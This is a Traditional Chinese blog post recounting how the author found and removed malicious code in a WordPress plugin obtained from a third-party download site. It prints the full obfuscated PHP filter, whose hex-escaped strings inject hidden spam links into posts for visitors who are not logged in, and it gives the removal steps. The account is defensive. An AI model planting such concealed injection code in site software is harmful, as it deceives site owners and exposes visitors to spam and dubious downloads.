近日採用了一個坊間下載的 WordPress 外掛,竟發現內含駭客碼。從發現到解決,小小的經驗分享給網友。

用慣了 WordPress repository 裡眾多的外掛,裝了卸、卸了再裝,因為 WordPress 社群裡的基本控管做得不錯,讓人忘卻了防駭的警覺心。(不若過去在網路下載 Windows free software 及 PHP free scripts 時,是時時刻刻具備警覺心的。)
這次碰到問題的外掛,並非下載自 WordPress repository,也不是購自 Themeforest / Codecanyon 或其他的 premium plugins 來源,而是下載自某第三方的外掛下載處。因為該外掛功能不少,所以是在啟用一段時間後,才發現在特定類型的文章前頭,會被硬加入一些令人討厭的英文。
嚴格的說起來,這不是會造成系統傷害的駭客碼,而較屬於存心來鬧的惡意碼 (malicious code)。
從發現到解決,記錄其過程,分享予網友。


問題的發現

事實上是採用這個外掛有一陣子後才發現問題的。此外掛功能不少,我們是經過了幾天的安裝設定後,才發現在某特定的文章類型 (custom post type) 裡每一篇文章前頭會被置入 ‘Want create site? Find Free WordPress Themes and plugins.’ 這段多餘的英文字串。沒有很快發現的另一個原因是,這段惱人的文字只有在訪客的身分才看得到,登入帳戶以後它就不出現了。因為前期的時間多數是登入後台在操作,所以也就沒及早發現。

發現此問題後,因為當時時間有限,所以在短暫嘗試解決未果後,乾脆先設法避掉出現問題的地方,因此勉強又和病毒共處了幾個月。

直到近日必須把網站機能做得更完善,於是醜媳婦見公婆,開始和它對戰,嘗試要將它移除。…

偵錯的過程 (debugging)

這類的詭異訊息,最直覺的解法當然是去程式碼裡面搜尋那段字串。但是,怎麼搜都搜不到。於是開始懷疑周邊相關的其他外掛,又去搜遍了其他外掛的原始碼,仍然找不到。

接下來懷疑該訊息被暗藏在資料庫裡,所以又將資料庫遍尋了一圈,依然毫無斬獲。不得已,只好更鑽入外掛的程式碼裡面,追蹤及修改了一些測試程式碼,卻依然搞不定。再擴及周圍的外掛去看原始碼,結果還是摸不透。

於是靜下心來,去求助谷歌大神,果然天下沒有新鮮事,老外網友的一篇文章點到了要害:Malicious codes 喜歡和你捉迷藏,訊息可能採用十六進位 (Hex) 暗藏。

終於,在該外掛的原始碼裡找到了這段 filter 程式碼:

if( ! function_exists('sorry_function')){
function sorry_function($content) {
if (is_user_logged_in()){return $content;} else {if(is_page()||is_single()){
$vNd25 = "\74\144\151\x76\40\163\x74\x79\154\145\x3d\42\x70\157\x73\151\164\x69\x6f\x6e\72\141\x62\x73\x6f\154\165\164\145\73\164\157\160\x3a\60\73\154\145\146\x74\72\55\71\71\x39\71\x70\170\73\42\x3e\x57\x61\x6e\x74\40\x63\162\145\x61\x74\x65\40\163\151\164\x65\x3f\x20\x46\x69\x6e\x64\40\x3c\x61\x20\x68\x72\145\146\75\x22\x68\x74\164\x70\72\x2f\57\x64\x6c\x77\x6f\162\144\x70\x72\x65\163\163\x2e\x63\x6f\x6d\57\42\76\x46\x72\145\145\40\x57\x6f\x72\x64\x50\162\x65\163\x73\x20\124\x68\x65\155\145\x73\x3c\57\x61\76\40\x61\x6e\144\x20\x70\x6c\165\147\x69\156\x73\x2e\x3c\57\144\151\166\76";
$zoyBE = "\74\x64\x69\x76\x20\x73\x74\171\154\145\x3d\x22\x70\157\163\x69\x74\x69\x6f\156\x3a\141\142\163\x6f\154\x75\164\x65\x3b\x74\157\160\72\x30\73\x6c\x65\x66\164\72\x2d\x39\71\71\x39\x70\x78\73\42\x3e\104\x69\x64\x20\x79\x6f\165\40\x66\x69\156\x64\40\141\x70\153\40\146\157\162\x20\x61\156\144\162\x6f\151\144\77\40\x59\x6f\x75\x20\x63\x61\156\x20\146\x69\x6e\x64\40\156\145\167\40\74\141\40\150\162\145\146\x3d\x22\150\x74\x74\160\163\72\57\x2f\x64\154\x61\156\x64\x72\157\151\x64\62\x34\56\x63\x6f\155\x2f\42\x3e\x46\x72\145\x65\40\x41\x6e\x64\x72\157\151\144\40\107\141\x6d\145\x73\74\x2f\x61\76\40\x61\156\x64\x20\x61\160\x70\163\x2e\74\x2f\x64\x69\x76\76";
$fullcontent = $vNd25 . $content . $zoyBE; } else { $fullcontent = $content; } return $fullcontent; }}
add_filter('the_content', 'sorry_function');}

沒錯,這就是元凶。

解決的方法

把這段碼移除,整個程式碼自然就乾淨了。

但是,該 filter 已被掛上 WP 了,所以還是需要將該 filter 自 WP 的  hooks 裡移除。其實就是一小段一次性使用的移除碼:

remove_filter( 'the_content', 'sorry_function' );

但是,惱人的訊息還是會繼續出現?只好再乖乖地去看 WordPress 的文件,
https://codex.wordpress.org/Function_Reference/remove_filter
其中有一小段話:

If a filter has been added from within a class, for example by a plugin, removing it will require accessing the class variable.

global $my_class;
remove_filter( 'the_content', array($my_class, 'class_filter_function') );

也就是說經由 class 掛上的 filter,移除也需經由 class 移除。我們這段惡意碼確實是經由 class 掛上的,所以只好再改成經由 class 移除。

終於大功告成!

感想及後記

其實相對來說,WordPress 社群還是挺乾淨的。這段過程不僅未讓我對 WordPress 世界喪失信心,反而更覺得應該對 WordPress plugins team 裡的參與者致敬。沒有他們的參與把關,何來今日我們對 WordPress repository 裡外掛 (免費的喔) 的信任?

更不用提付費外掛了,像 Themeforest / Codecanyon 也是把關嚴格;正統的自營 premium plugins 下載更是不用擔心,因為他們靠的是品質吃飯。

所以歸根究底,是自己跑去 543 的地方下載外掛插件所造成的,怨不得別人。